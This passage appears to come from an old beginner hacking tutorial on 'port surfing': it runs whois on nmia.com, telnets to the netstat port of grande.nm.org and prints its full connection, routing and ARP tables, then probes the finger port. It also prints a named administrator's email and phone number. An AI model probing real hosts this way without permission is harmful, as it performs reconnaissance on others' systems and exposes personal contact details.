/&gt;Newbie Note # 3: A domain is an Internet address. You can use it to look up who runs the computers used by the domain, and also to look up how that domain is connected to the rest of the Internet. &lt;br /&gt;***************************** &lt;br /&gt;So to do this we first logged into my shell account with Southwest Cyberport. I gave the command: &lt;br /&gt;&lt;slug&gt; [66] -&gt;whois nmia.com &lt;br /&gt;New Mexico Internet Access (NMIA-DOM) &lt;br /&gt;2201 Buena Vista SE &lt;br /&gt;Albuquerque, NM 87106 &lt;br /&gt;Domain Name: NMIA.COM &lt;br /&gt;Administrative Contact, Technical Contact, Zone Contact: &lt;br /&gt;Orrell, Stan (SO11) SAO@NMIA.COM &lt;br /&gt;(505) 877-0617 &lt;br /&gt;Record last updated on 11-Mar-94. &lt;br /&gt;Record created on 11-Mar-94. &lt;br /&gt;Domain servers in listed order: &lt;br /&gt;NS.NMIA.COM 198.59.166.10 &lt;br /&gt;GRANDE.NM.ORG 129.121.1.2 &lt;br /&gt;Now it’s a good bet that grande.nm.org is serving a lot of other Internet hosts beside nmia.com. Here’s how we port surf our way to find this out: &lt;br /&gt;&lt;slug&gt; [67] -&gt;telnet grande.nm.org 15 &lt;br /&gt;Trying 129.121.1.2 ... &lt;br /&gt;Connected to grande.nm.org. &lt;br /&gt;Escape character is '^]'. &lt;br /&gt;TGV MultiNet V3.5 Rev B, VAX 4000-400, OpenVMS VAX V6.1 &lt;br /&gt;Product License Authorization Expiration Date &lt;br /&gt;---------- ------- ------------- --------------- &lt;br /&gt;MULTINET Yes A-137-1641 (none) &lt;br /&gt;NFS-CLIENT Yes A-137-113237 (none) &lt;br /&gt;*** Configuration for file "MULTINET:NETWORK_DEVICES.CONFIGURATION" *** &lt;br /&gt;Device Adapter CSR Address Flags/Vector &lt;br /&gt;------ ------- ----------- ------------ &lt;br /&gt;se0 (Shared VMS Ethernet/FDDI) -NONE- -NONE- -NONE- &lt;br /&gt;MultiNet Active Connections, including servers: &lt;br /&gt;Proto Rcv-Q Snd-Q Local Address (Port) Foreign Address (Port) State &lt;br /&gt;----- ----- ----- ------------------ ------------------ ----- &lt;br /&gt;TCP 0 822 GRANDE.NM.ORG(NETSTAT) 198.59.115.24(1569) ESTABLISHED &lt;br /&gt;TCP 0 0 GRANDE.NM.ORG(POP3) 164.64.201.67(1256) ESTABLISHED &lt;br /&gt;TCP 0 0 GRANDE.NM.ORG(4918) 129.121.254.5(TELNET) ESTABLISHED &lt;br /&gt;TCP 0 0 GRANDE.NM.ORG(TELNET) AVATAR.NM.ORG(3141) ESTABLISHED &lt;br /&gt;TCP 0 0 *(NAMESERVICE) *(*) LISTEN &lt;br /&gt;TCP 0 0 *(TELNET) *(*) LISTEN &lt;br /&gt;TCP 0 0 *(FTP) *(*) LISTEN &lt;br /&gt;TCP 0 0 *(FINGER) *(*) LISTEN &lt;br /&gt;TCP 0 0 *(NETSTAT) *(*) LISTEN &lt;br /&gt;TCP 0 0 *(SMTP) *(*) LISTEN &lt;br /&gt;TCP 0 0 *(LOGIN) *(*) LISTEN &lt;br /&gt;TCP 0 0 *(SHELL) *(*) LISTEN &lt;br /&gt;TCP 0 0 *(EXEC) *(*) LISTEN &lt;br /&gt;TCP 0 0 *(RPC) *(*) LISTEN &lt;br /&gt;TCP 0 0 *(NETCONTROL) *(*) LISTEN &lt;br /&gt;TCP 0 0 *(SYSTAT) *(*) LISTEN &lt;br /&gt;TCP 0 0 *(CHARGEN) *(*) LISTEN &lt;br /&gt;TCP 0 0 *(DAYTIME) *(*) LISTEN &lt;br /&gt;TCP 0 0 *(TIME) *(*) LISTEN &lt;br /&gt;TCP 0 0 *(ECHO) *(*) LISTEN &lt;br /&gt;TCP 0 0 *(DISCARD) *(*) LISTEN &lt;br /&gt;TCP 0 0 *(PRINTER) *(*) LISTEN &lt;br /&gt;TCP 0 0 *(POP2) *(*) LISTEN &lt;br /&gt;TCP 0 0 *(POP3) *(*) LISTEN &lt;br /&gt;TCP 0 0 *(KERBEROS_MASTER) *(*) LISTEN &lt;br /&gt;TCP 0 0 *(KLOGIN) *(*) LISTEN &lt;br /&gt;TCP 0 0 *(KSHELL) *(*) LISTEN &lt;br /&gt;TCP 0 0 GRANDE.NM.ORG(4174) OSO.NM.ORG(X11) ESTABLISHED &lt;br /&gt;TCP 0 0 GRANDE.NM.ORG(4172) OSO.NM.ORG(X11) ESTABLISHED &lt;br /&gt;TCP 0 0 GRANDE.NM.ORG(4171) OSO.NM.ORG(X11) ESTABLISHED &lt;br /&gt;TCP 0 0 *(FS) *(*) LISTEN &lt;br /&gt;UDP 0 0 *(NAMESERVICE) *(*) &lt;br /&gt;UDP 0 0 127.0.0.1(NAMESERVICE) *(*) &lt;br /&gt;UDP 0 0 GRANDE.NM.OR(NAMESERV) *(*) &lt;br /&gt;UDP 0 0 *(TFTP) *(*) &lt;br /&gt;UDP 0 0 *(BOOTPS) *(*) &lt;br /&gt;UDP 0 0 *(KERBEROS) *(*) &lt;br /&gt;UDP 0 0 127.0.0.1(KERBEROS) *(*) &lt;br /&gt;UDP 0 0 GRANDE.NM.OR(KERBEROS) *(*) &lt;br /&gt;UDP 0 0 *(*) *(*) &lt;br /&gt;UDP 0 0 *(SNMP) *(*) &lt;br /&gt;UDP 0 0 *(RPC) *(*) &lt;br /&gt;UDP 0 0 *(DAYTIME) *(*) &lt;br /&gt;UDP 0 0 *(ECHO) *(*) &lt;br /&gt;UDP 0 0 *(DISCARD) *(*) &lt;br /&gt;UDP 0 0 *(TIME) *(*) &lt;br /&gt;UDP 0 0 *(CHARGEN) *(*) &lt;br /&gt;UDP 0 0 *(TALK) *(*) &lt;br /&gt;UDP 0 0 *(NTALK) *(*) &lt;br /&gt;UDP 0 0 *(1023) *(*) &lt;br /&gt;UDP 0 0 *(XDMCP) *(*) &lt;br /&gt;MultiNet registered RPC programs: &lt;br /&gt;Program Version Protocol Port &lt;br /&gt;------- ------- -------- ---- &lt;br /&gt;PORTMAP 2 TCP 111 &lt;br /&gt;PORTMAP 2 UDP 111 &lt;br /&gt;MultiNet IP Routing tables: &lt;br /&gt;Destination Gateway Flags Refcnt Use Interface MTU &lt;br /&gt;---------- ---------- ----- ------ ----- --------- ---- &lt;br /&gt;198.59.167.1 LAWRII.NM.ORG Up,Gateway,H 0 2 se0 1500 &lt;br /&gt;166.45.0.1 ENSS365.NM.ORG Up,Gateway,H 0 4162 se0 1500 &lt;br /&gt;205.138.138.1 ENSS365.NM.ORG Up,Gateway,H 0 71 se0 1500 &lt;br /&gt;204.127.160.1 ENSS365.NM.ORG Up,Gateway,H 0 298 se0 1500 &lt;br /&gt;127.0.0.1 127.0.0.1 Up,Host 5 1183513 lo0 4136 &lt;br /&gt;198.59.167.2 LAWRII.NM.ORG Up,Gateway,H 0 640 se0 1500 &lt;br /&gt;192.132.89.2 ENSS365.NM.ORG Up,Gateway,H 0 729 se0 1500 &lt;br /&gt;207.77.56.2 ENSS365.NM.ORG Up,Gateway,H 0 5 se0 1500 &lt;br /&gt;204.97.213.2 ENSS365.NM.ORG Up,Gateway,H 0 2641 se0 1500 &lt;br /&gt;194.90.74.66 ENSS365.NM.ORG Up,Gateway,H 0 1 se0 1500 &lt;br /&gt;204.252.102.2 ENSS365.NM.ORG Up,Gateway,H 0 109 se0 1500 &lt;br /&gt;205.160.243.2 ENSS365.NM.ORG Up,Gateway,H 0 78 se0 1500 &lt;br /&gt;202.213.4.2 ENSS365.NM.ORG Up,Gateway,H 0 4 se0 1500 &lt;br /&gt;202.216.224.66 ENSS365.NM.ORG Up,Gateway,H 0 113 se0 1500 &lt;br /&gt;192.132.89.3 ENSS365.NM.ORG Up,Gateway,H 0 1100 se0 1500 &lt;br /&gt;198.203.196.67 ENSS365.NM.ORG Up,Gateway,H 0 385 se0 1500 &lt;br /&gt;160.205.13.3 ENSS365.NM.ORG Up,Gateway,H 0 78 se0 1500 &lt;br /&gt;202.247.107.131 ENSS365.NM.ORG Up,Gateway,H 0 19 se0 1500 &lt;br /&gt;198.59.167.4 LAWRII.NM.ORG Up,Gateway,H 0 82 se0 1500 &lt;br /&gt;128.148.157.6 ENSS365.NM.ORG Up,Gateway,H 0 198 se0 1500 &lt;br /&gt;160.45.10.6 ENSS365.NM.ORG Up,Gateway,H 0 3 se0 1500 &lt;br /&gt;128.121.50.7 ENSS365.NM.ORG Up,Gateway,H 0 3052 se0 1500 &lt;br /&gt;206.170.113.8 ENSS365.NM.ORG Up,Gateway,H 0 1451 se0 1500 &lt;br /&gt;128.148.128.9 ENSS365.NM.ORG Up,Gateway,H 0 1122 se0 1500 &lt;br /&gt;203.7.132.9 ENSS365.NM.ORG Up,Gateway,H 0 14 se0 1500 &lt;br /&gt;204.216.57.10 ENSS365.NM.ORG Up,Gateway,H 0 180 se0 1500 &lt;br /&gt;130.74.1.75 ENSS365.NM.ORG Up,Gateway,H 0 10117 se0 1500 &lt;br /&gt;206.68.65.15 ENSS365.NM.ORG Up,Gateway,H 0 249 se0 1500 &lt;br /&gt;129.219.13.81 ENSS365.NM.ORG Up,Gateway,H 0 547 se0 1500 &lt;br /&gt;204.255.246.18 ENSS365.NM.ORG Up,Gateway,H 0 1125 se0 1500 &lt;br /&gt;160.45.24.21 ENSS365.NM.ORG Up,Gateway,H 0 97 se0 1500 &lt;br /&gt;206.28.168.21 ENSS365.NM.ORG Up,Gateway,H 0 2093 se0 1500 &lt;br /&gt;163.179.3.222 ENSS365.NM.ORG Up,Gateway,H 0 315 se0 1500 &lt;br /&gt;198.109.130.33 ENSS365.NM.ORG Up,Gateway,H 0 1825 se0 1500 &lt;br /&gt;199.224.108.33 ENSS365.NM.ORG Up,Gateway,H 0 11362 se0 1500 &lt;br /&gt;203.7.132.98 ENSS365.NM.ORG Up,Gateway,H 0 73 se0 1500 &lt;br /&gt;198.111.253.35 ENSS365.NM.ORG Up,Gateway,H 0 1134 se0 1500 &lt;br /&gt;206.149.24.100 ENSS365.NM.ORG Up,Gateway,H 0 3397 se0 1500 &lt;br /&gt;165.212.105.106 ENSS365.NM.ORG Up,Gateway,H 0 17 se0 1006 &lt;br /&gt;205.238.3.241 ENSS365.NM.ORG Up,Gateway,H 0 69 se0 1500 &lt;br /&gt;198.49.44.242 ENSS365.NM.ORG Up,Gateway,H 0 25 se0 1500 &lt;br /&gt;194.22.188.242 ENSS365.NM.ORG Up,Gateway,H 0 20 se0 1500 &lt;br /&gt;164.64.0 LAWRII.NM.ORG Up,Gateway 1 40377 se0 1500 &lt;br /&gt;0.0.0 ENSS365.NM.ORG Up,Gateway 2 4728741 se0 1500 &lt;br /&gt;207.66.1 GLORY.NM.ORG Up,Gateway 0 51 se0 1500 &lt;br /&gt;205.166.1 GLORY.NM.ORG Up,Gateway 0 1978 se0 1500 &lt;br /&gt;204.134.1 LAWRII.NM.ORG Up,Gateway 0 54 se0 1500 &lt;br /&gt;204.134.2 GLORY.NM.ORG Up,Gateway 0 138 se0 1500 &lt;br /&gt;192.132.2 129.121.248.1 Up,Gateway 0 6345 se0 1500 &lt;br /&gt;204.134.67 GLORY.NM.ORG Up,Gateway 0 2022 se0 1500 &lt;br /&gt;206.206.67 GLORY.NM.ORG Up,Gateway 0 7778 se0 1500 &lt;br /&gt;206.206.68 LAWRII.NM.ORG Up,Gateway 0 3185 se0 1500 &lt;br /&gt;207.66.5 GLORY.NM.ORG Up,Gateway 0 626 se0 1500 &lt;br /&gt;204.134.69 GLORY.NM.ORG Up,Gateway 0 7990 se0 1500 &lt;br /&gt;207.66.6 GLORY.NM.ORG Up,Gateway 0 53 se0 1500 &lt;br /&gt;204.134.70 LAWRII.NM.ORG Up,Gateway 0 18011 se0 1500 &lt;br /&gt;192.188.135 GLORY.NM.ORG Up,Gateway 0 5 se0 1500 &lt;br /&gt;206.206.71 LAWRII.NM.ORG Up,Gateway 0 2 se0 1500 &lt;br /&gt;204.134.7 GLORY.NM.ORG Up,Gateway 0 38 se0 1500 &lt;br /&gt;199.89.135 GLORY.NM.ORG Up,Gateway 0 99 se0 1500 &lt;br /&gt;198.59.136 LAWRII.NM.ORG Up,Gateway 0 1293 se0 1500 &lt;br /&gt;204.134.9 GLORY.NM.ORG Up,Gateway 0 21 se0 1500 &lt;br /&gt;204.134.73 GLORY.NM.ORG Up,Gateway 0 59794 se0 1500 &lt;br /&gt;129.138.0 GLORY.NM.ORG Up,Gateway 0 5262 se0 1500 &lt;br /&gt;192.92.10 LAWRII.NM.ORG Up,Gateway 0 163 se0 1500 &lt;br /&gt;206.206.75 LAWRII.NM.ORG Up,Gateway 0 604 se0 1500 &lt;br /&gt;207.66.13 GLORY.NM.ORG Up,Gateway 0 1184 se0 1500 &lt;br /&gt;204.134.77 LAWRII.NM.ORG Up,Gateway 0 3649 se0 1500 &lt;br /&gt;207.66.14 GLORY.NM.ORG Up,Gateway 0 334 se0 1500 &lt;br /&gt;204.134.78 GLORY.NM.ORG Up,Gateway 0 239 se0 1500 &lt;br /&gt;204.52.207 GLORY.NM.ORG Up,Gateway 0 293 se0 1500 &lt;br /&gt;204.134.79 GLORY.NM.ORG Up,Gateway 0 1294 se0 1500 &lt;br /&gt;192.160.144 LAWRII.NM.ORG Up,Gateway 0 117 se0 1500 &lt;br /&gt;206.206.80 PENNY.NM.ORG Up,Gateway 0 4663 se0 1500 &lt;br /&gt;204.134.80 GLORY.NM.ORG Up,Gateway 0 91 se0 1500 &lt;br /&gt;198.99.209 LAWRII.NM.ORG Up,Gateway 0 1136 se0 1500 &lt;br /&gt;207.66.17 GLORY.NM.ORG Up,Gateway 0 24173 se0 1500 &lt;br /&gt;204.134.82 GLORY.NM.ORG Up,Gateway 0 29766 se0 1500 &lt;br /&gt;192.41.211 GLORY.NM.ORG Up,Gateway 0 155 se0 1500 &lt;br /&gt;192.189.147 LAWRII.NM.ORG Up,Gateway 0 3133 se0 1500 &lt;br /&gt;204.134.84 PENNY.NM.ORG Up,Gateway 0 189 se0 1500 &lt;br /&gt;204.134.87 LAWRII.NM.ORG Up,Gateway 0 94 se0 1500 &lt;br /&gt;146.88.0 GLORY.NM.ORG Up,Gateway 0 140 se0 1500 &lt;br /&gt;192.84.24 GLORY.NM.ORG Up,Gateway 0 3530 se0 1500 &lt;br /&gt;204.134.88 LAWRII.NM.ORG Up,Gateway 0 136 se0 1500 &lt;br /&gt;198.49.217 GLORY.NM.ORG Up,Gateway 0 303 se0 1500 &lt;br /&gt;192.132.89 GLORY.NM.ORG Up,Gateway 0 3513 se0 1500 &lt;br /&gt;198.176.219 GLORY.NM.ORG Up,Gateway 0 1278 se0 1500 &lt;br /&gt;206.206.92 LAWRII.NM.ORG Up,Gateway 0 1228 se0 1500 &lt;br /&gt;192.234.220 129.121.1.91 Up,Gateway 0 2337 se0 1500 &lt;br /&gt;204.134.92 LAWRII.NM.ORG Up,Gateway 0 13995 se0 1500 &lt;br /&gt;198.59.157 LAWRII.NM.ORG Up,Gateway 0 508 se0 1500 &lt;br /&gt;206.206.93 GLORY.NM.ORG Up,Gateway 0 635 se0 1500 &lt;br /&gt;204.134.93 GLORY.NM.ORG Up,Gateway 0 907 se0 1500 &lt;br /&gt;198.59.158 LAWRII.NM.ORG Up,Gateway 0 14214 se0 1500 &lt;br /&gt;198.59.159 LAWRII.NM.ORG Up,Gateway 0 1806 se0 1500 &lt;br /&gt;204.134.95 PENNY.NM.ORG Up,Gateway 0 3644 se0 1500 &lt;br /&gt;206.206.96 GLORY.NM.ORG Up,Gateway 0 990 se0 1500 &lt;br /&gt;206.206.161 LAWRII.NM.ORG Up,Gateway 0 528 se0 1500 &lt;br /&gt;198.59.97 PENNY.NM.ORG Up,Gateway 0 55 se0 1500 &lt;br /&gt;198.59.161 LAWRII.NM.ORG Up,Gateway 0 497 se0 1500 &lt;br /&gt;192.207.226 GLORY.NM.ORG Up,Gateway 0 93217 se0 1500 &lt;br /&gt;198.59.99 PENNY.NM.ORG Up,Gateway 0 2 se0 1500 &lt;br /&gt;198.59.163 GLORY.NM.ORG Up,Gateway 0 3379 se0 1500 &lt;br /&gt;192.133.100 LAWRII.NM.ORG Up,Gateway 0 3649 se0 1500 &lt;br /&gt;204.134.100 GLORY.NM.ORG Up,Gateway 0 8 se0 1500 &lt;br /&gt;128.165.0 PENNY.NM.ORG Up,Gateway 0 15851 se0 1500 &lt;br /&gt;198.59.165 GLORY.NM.ORG Up,Gateway 0 274 se0 1500 &lt;br /&gt;206.206.165 LAWRII.NM.ORG Up,Gateway 0 167 se0 1500 &lt;br /&gt;206.206.102 GLORY.NM.ORG Up,Gateway 0 5316 se0 1500 &lt;br /&gt;160.230.0 LAWRII.NM.ORG Up,Gateway 0 19408 se0 1500 &lt;br /&gt;206.206.166 LAWRII.NM.ORG Up,Gateway 0 1756 se0 1500 &lt;br /&gt;205.166.231 GLORY.NM.ORG Up,Gateway 0 324 se0 1500 &lt;br /&gt;198.59.167 GLORY.NM.ORG Up,Gateway 0 1568 se0 1500 &lt;br /&gt;206.206.103 GLORY.NM.ORG Up,Gateway 0 3629 se0 1500 &lt;br /&gt;198.59.168 GLORY.NM.ORG Up,Gateway 0 9063 se0 1500 &lt;br /&gt;206.206.104 GLORY.NM.ORG Up,Gateway 0 7333 se0 1500 &lt;br /&gt;206.206.168 GLORY.NM.ORG Up,Gateway 0 234 se0 1500 &lt;br /&gt;204.134.105 LAWRII.NM.ORG Up,Gateway 0 4826 se0 1500 &lt;br /&gt;206.206.105 LAWRII.NM.ORG Up,Gateway 0 422 se0 1500 &lt;br /&gt;204.134.41 LAWRII.NM.ORG Up,Gateway 0 41782 se0 1500 &lt;br /&gt;206.206.169 GLORY.NM.ORG Up,Gateway 0 5101 se0 1500 &lt;br /&gt;204.134.42 GLORY.NM.ORG Up,Gateway 0 10761 se0 1500 &lt;br /&gt;206.206.170 GLORY.NM.ORG Up,Gateway 0 916 se0 1500 &lt;br /&gt;198.49.44 GLORY.NM.ORG Up,Gateway 0 3 se0 1500 &lt;br /&gt;198.59.108 GLORY.NM.ORG Up,Gateway 0 2129 se0 1500 &lt;br /&gt;204.29.236 GLORY.NM.ORG Up,Gateway 0 125 se0 1500 &lt;br /&gt;206.206.172 GLORY.NM.ORG Up,Gateway 0 5839 se0 1500 &lt;br /&gt;204.134.108 GLORY.NM.ORG Up,Gateway 0 3216 se0 1500 &lt;br /&gt;206.206.173 GLORY.NM.ORG Up,Gateway 0 374 se0 1500 &lt;br /&gt;198.175.173 LAWRII.NM.ORG Up,Gateway 0 6227 se0 1500 &lt;br /&gt;198.59.110 GLORY.NM.ORG Up,Gateway 0 1797 se0 1500 &lt;br /&gt;198.51.238 GLORY.NM.ORG Up,Gateway 0 1356 se0 1500 &lt;br /&gt;192.136.110 GLORY.NM.ORG Up,Gateway 0 583 se0 1500 &lt;br /&gt;204.134.48 GLORY.NM.ORG Up,Gateway 0 42 se0 1500 &lt;br /&gt;198.175.176 LAWRII.NM.ORG Up,Gateway 0 32 se0 1500 &lt;br /&gt;206.206.114 LAWRII.NM.ORG Up,Gateway 0 44 se0 1500 &lt;br /&gt;206.206.179 LAWRII.NM.ORG Up,Gateway 0 14 se0 1500 &lt;br /&gt;198.59.179 PENNY.NM.ORG Up,Gateway 0 222 se0 1500 &lt;br /&gt;198.59.115 GLORY.NM.ORG Up,Gateway 1 132886 se0 1500 &lt;br /&gt;206.206.181 GLORY.NM.ORG Up,Gateway 0 1354 se0 1500 &lt;br /&gt;206.206.182 SIENNA.NM.ORG Up,Gateway 0 16 se0 1500 &lt;br /&gt;206.206.118 GLORY.NM.ORG Up,Gateway 0 3423 se0 1500 &lt;br /&gt;206.206.119 GLORY.NM.ORG Up,Gateway 0 282 se0 1500 &lt;br /&gt;206.206.183 SIENNA.NM.ORG Up,Gateway 0 2473 se0 1500 &lt;br /&gt;143.120.0 LAWRII.NM.ORG Up,Gateway 0 123533 se0 1500 &lt;br /&gt;206.206.184 GLORY.NM.ORG Up,Gateway 0 1114 se0 1500 &lt;br /&gt;205.167.120 GLORY.NM.ORG Up,Gateway 0 4202 se0 1500 &lt;br /&gt;206.206.121 GLORY.NM.ORG Up,Gateway 1 71 se0 1500 &lt;br /&gt;129.121.0 GRANDE.NM.ORG Up 12 21658599 se0 1500 &lt;br /&gt;204.134.122 GLORY.NM.ORG Up,Gateway 0 195 se0 1500 &lt;br /&gt;204.134.58 GLORY.NM.ORG Up,Gateway 0 7707 se0 1500 &lt;br /&gt;128.123.0 GLORY.NM.ORG Up,Gateway 0 34416 se0 1500 &lt;br /&gt;204.134.59 GLORY.NM.ORG Up,Gateway 0 1007 se0 1500 &lt;br /&gt;204.134.124 GLORY.NM.ORG Up,Gateway 0 37160 se0 1500 &lt;br /&gt;206.206.124 LAWRII.NM.ORG Up,Gateway 0 79 se0 1500 &lt;br /&gt;206.206.125 PENNY.NM.ORG Up,Gateway 0 233359 se0 1500 &lt;br /&gt;204.134.126 GLORY.NM.ORG Up,Gateway 0 497 se0 1500 &lt;br /&gt;206.206.126 LAWRII.NM.ORG Up,Gateway 0 13644 se0 1500 &lt;br /&gt;204.69.190 GLORY.NM.ORG Up,Gateway 0 4059 se0 1500 &lt;br /&gt;206.206.190 GLORY.NM.ORG Up,Gateway 0 1630 se0 1500 &lt;br /&gt;204.134.127 GLORY.NM.ORG Up,Gateway 0 45621 se0 1500 &lt;br /&gt;206.206.191 GLORY.NM.ORG Up,Gateway 0 3574 se0 1500 &lt;br /&gt;MultiNet IPX Routing tables: &lt;br /&gt;Destination Gateway Flags Refcnt Use Interface MTU &lt;br /&gt;---------- ---------- ----- ------ ----- --------- ---- &lt;br /&gt;MultiNet ARP table: &lt;br /&gt;Host Network Address Ethernet Address Arp Flags &lt;br /&gt;-------------------------------------------- ---------------- --------- &lt;br /&gt;GLORY.NM.ORG (IP 129.121.1.4) AA:00:04:00:61:D0 Temporary &lt;br /&gt;[UNKNOWN] (IP 129.121.251.1) 00:C0:05:01:2C:D2 Temporary &lt;br /&gt;NARANJO.NM.ORG (IP 129.121.1.56) 08:00:87:04:9F:42 Temporary &lt;br /&gt;CHAMA.NM.ORG (IP 129.121.1.8) AA:00:04:00:0C:D0 Temporary &lt;br /&gt;[UNKNOWN] (IP 129.121.251.5) AA:00:04:00:D2:D0 Temporary &lt;br /&gt;LAWRII.NM.ORG (IP 129.121.254.10) AA:00:04:00:5C:D0 Temporary &lt;br /&gt;[UNKNOWN] (IP 129.121.1.91) 00:C0:05:01:2C:D2 Temporary &lt;br /&gt;BRAVO.NM.ORG (IP 129.121.1.6) AA:00:04:00:0B:D0 Temporary &lt;br /&gt;PENNY.NM.ORG (IP 129.121.1.10) AA:00:04:00:5F:D0 Temporary &lt;br /&gt;ARRIBA.NM.ORG (IP 129.121.1.14) 08:00:2B:BC:C1:A7 Temporary &lt;br /&gt;AZUL.NM.ORG (IP 129.121.1.51) 08:00:87:00:A1:D3 Temporary &lt;br /&gt;ENSS365.NM.ORG (IP 129.121.1.3) 00:00:0C:51:EF:58 Temporary &lt;br /&gt;AVATAR.NM.ORG (IP 129.121.254.1) 08:00:5A:1D:52:0D Temporary &lt;br /&gt;[UNKNOWN] (IP 129.121.253.2) 08:00:5A:47:4A:1D Temporary &lt;br /&gt;[UNKNOWN] (IP 129.121.254.5) 00:C0:7B:5F:5F:80 Temporary &lt;br /&gt;CONCHAS.NM.ORG (IP 129.121.1.11) 08:00:5A:47:4A:1D Temporary &lt;br /&gt;[UNKNOWN] (IP 129.121.253.10) AA:00:04:00:4B:D0 Temporary &lt;br /&gt;MultiNet Network Interface statistics: &lt;br /&gt;Name Mtu Network Address Ipkts Ierrs Opkts Oerrs Collis &lt;br /&gt;---- --- ------- -------------- ----- ----- ----- ----- ------ &lt;br /&gt;se0 1500 129.121.0 GRANDE.NM.ORG 68422948 0 53492833 1 0 &lt;br /&gt;lo0 4136 127.0.0 127.0.0.1 1188191 0 1188191 0 0 &lt;br /&gt;MultiNet Protocol statistics: &lt;br /&gt;65264173 IP packets received &lt;br /&gt;22 IP packets smaller than minimum size &lt;br /&gt;6928 IP fragments received &lt;br /&gt;4 IP fragments timed out &lt;br /&gt;34 IP received for unreachable destinations &lt;br /&gt;704140 ICMP error packets generated &lt;br /&gt;9667 ICMP opcodes out of range &lt;br /&gt;4170 Bad ICMP packet checksums &lt;br /&gt;734363 ICMP responses &lt;br /&gt;734363 ICMP "Echo" packets received &lt;br /&gt;734363 ICMP "Echo Reply" packets sent &lt;br /&gt;18339 ICMP "Echo Reply" packets received &lt;br /&gt;704140 ICMP "Destination Unreachable" packets sent &lt;br /&gt;451243 ICMP "Destination Unreachable" packets received &lt;br /&gt;1488 ICMP "Source Quench" packets received &lt;br /&gt;163911 ICMP "ReDirect" packets received &lt;br /&gt;189732 ICMP "Time Exceeded" packets received &lt;br /&gt;126966 TCP connections initiated &lt;br /&gt;233998 TCP connections established &lt;br /&gt;132611 TCP connections accepted &lt;br /&gt;67972 TCP connections dropped &lt;br /&gt;28182 embryonic TCP connections dropped &lt;br /&gt;269399 TCP connections closed &lt;br /&gt;10711838 TCP segments timed for RTT &lt;br /&gt;10505140 TCP segments updated RTT &lt;br /&gt;3927264 TCP delayed ACKs sent &lt;br /&gt;666 TCP connections dropped due to retransmit timeouts &lt;br /&gt;111040 TCP retransmit timeouts &lt;br /&gt;3136 TCP persist timeouts &lt;br /&gt;9 TCP persist connection drops &lt;br /&gt;16850 TCP keepalive timeouts &lt;br /&gt;1195 TCP keepalive probes sent &lt;br /&gt;14392 TCP connections dropped due to keepalive timeouts &lt;br /&gt;28842663 TCP packets sent &lt;br /&gt;12714484 TCP data packets sent &lt;br /&gt;1206060086 TCP data bytes sent &lt;br /&gt;58321 TCP data packets retransmitted &lt;br /&gt;22144036 TCP data bytes retransmitted &lt;br /&gt;6802199 TCP ACK-only packets sent &lt;br /&gt;1502 TCP window probes sent &lt;br /&gt;483 TCP URG-only packets sent &lt;br /&gt;8906175 TCP Window-Update-only packets sent &lt;br /&gt;359509 TCP control packets sent &lt;br /&gt;38675084 TCP packets received &lt;br /&gt;28399363 TCP packets received in sequence &lt;br /&gt;1929418386 TCP bytes received in sequence &lt;br /&gt;25207 TCP packets with checksum errors &lt;br /&gt;273374 TCP packets were duplicates &lt;br /&gt;230525708 TCP bytes were duplicates &lt;br /&gt;3748 TCP packets had some duplicate bytes &lt;br /&gt;493214 TCP bytes were partial duplicates &lt;br /&gt;2317156 TCP packets were out of order &lt;br /&gt;3151204672 TCP bytes were out of order &lt;br /&gt;1915 TCP packets had data after window &lt;br /&gt;865443 TCP bytes were after window &lt;br /&gt;5804 TCP packets for already closed connection &lt;br /&gt;941 TCP packets were window probes &lt;br /&gt;10847459 TCP packets had ACKs &lt;br /&gt;222657 TCP packets had duplicate ACKs &lt;br /&gt;1 TCP packet ACKed unsent data &lt;br /&gt;1200274739 TCP bytes ACKed &lt;br /&gt;141545 TCP packets had window updates &lt;br /&gt;13 TCP segments dropped due to PAWS &lt;br /&gt;4658158 TCP segments were predicted pure-ACKs &lt;br /&gt;24033756 TCP segments were predicted pure-data &lt;br /&gt;8087980 TCP PCB cache misses &lt;br /&gt;305 Bad UDP header checksums &lt;br /&gt;17 Bad UDP data length fields &lt;br /&gt;23772272 UDP PCB cache misses &lt;br /&gt;MultiNet Buffer Statistics: &lt;br /&gt;388 out of 608 buffers in use: &lt;br /&gt;30 buffers allocated to Data. &lt;br /&gt;10 buffers allocated to Packet Headers. &lt;br /&gt;66 buffers allocated to Socket Structures. &lt;br /&gt;57 buffers allocated to Protocol Control Blocks. &lt;br /&gt;163 buffers allocated to Routing Table Entries. &lt;br /&gt;2 buffers allocated to Socket Names and Addresses. &lt;br /&gt;48 buffers allocated to Kernel Fork-Processes. &lt;br /&gt;2 buffers allocated to Interface Addresses. &lt;br /&gt;1 buffer allocated to Multicast Addresses. &lt;br /&gt;1 buffer allocated to Timeout Callbacks. &lt;br /&gt;6 buffers allocated to Memory Management. &lt;br /&gt;2 buffers allocated to Network TTY Control Blocks. &lt;br /&gt;11 out of 43 page clusters in use. &lt;br /&gt;11 CXBs borrowed from VMS device drivers &lt;br /&gt;2 CXBs waiting to return to the VMS device drivers &lt;br /&gt;162 Kbytes allocated to MultiNet buffers (44% in use). &lt;br /&gt;226 Kbytes of allocated buffer address space (0% of maximum). &lt;br /&gt;Connection closed by foreign host. &lt;br /&gt;&lt;slug&gt; [68] -&gt; &lt;br /&gt;Whoa! What was all that? &lt;br /&gt;What we did was telnet to port 15 -- the netstat port-- which on some computers runs a daemon that tells anybody who cares to drop in just about everything about the connection made by all the computers linked to the Internet through this computer. &lt;br /&gt;So from this we learned two things: &lt;br /&gt;1) Grande.nm.org is a very busy and important computer. &lt;br /&gt;2) Even a very busy and important computer can let the random port surfer come and play. &lt;br /&gt;So my lady friend wanted to try out another port. I suggested the finger port, number 79. So she gave the command: &lt;br /&gt;&lt;slug&gt; [68] -&gt;telnet grande.nm.org 79 &lt;br /&gt;Trying 129.121.1.2 ... &lt;br /&gt;Connected to grande.nm.org. &lt;br /&gt;Escape character is '^]'. &lt;br /&gt;finger &lt;br /&gt;?Sorry, could not find "FINGER" &lt;br /&gt;Connection closed by foreign host. &lt;br /&gt;&lt;slug&gt; [69] -&gt;telnet grande.nm.org 79 &lt;br /&gt;Trying 129.121.1.2 ... &lt;br /&gt;Connected to grande.nm.org. &lt;br /&gt;Escape character is '^]'. &lt;br /&gt;help &lt;br /&gt;?Sorry, could not find "HELP" &lt;br /&gt;Connection closed by foreign host. &lt;br /&gt;&lt;slug&gt; [69] -&gt;telnet grande.nm.org 79 &lt;br /&gt;Trying 129.121.1.2 ... &lt;br /&gt;Connected to grande.nm.org. &lt;br /&gt;Escape character is '^]'. &lt;br /&gt;? &lt;br /&gt;?Sorry, could not find "?" &lt;br /&gt;Connection closed by foreign host. &lt;br 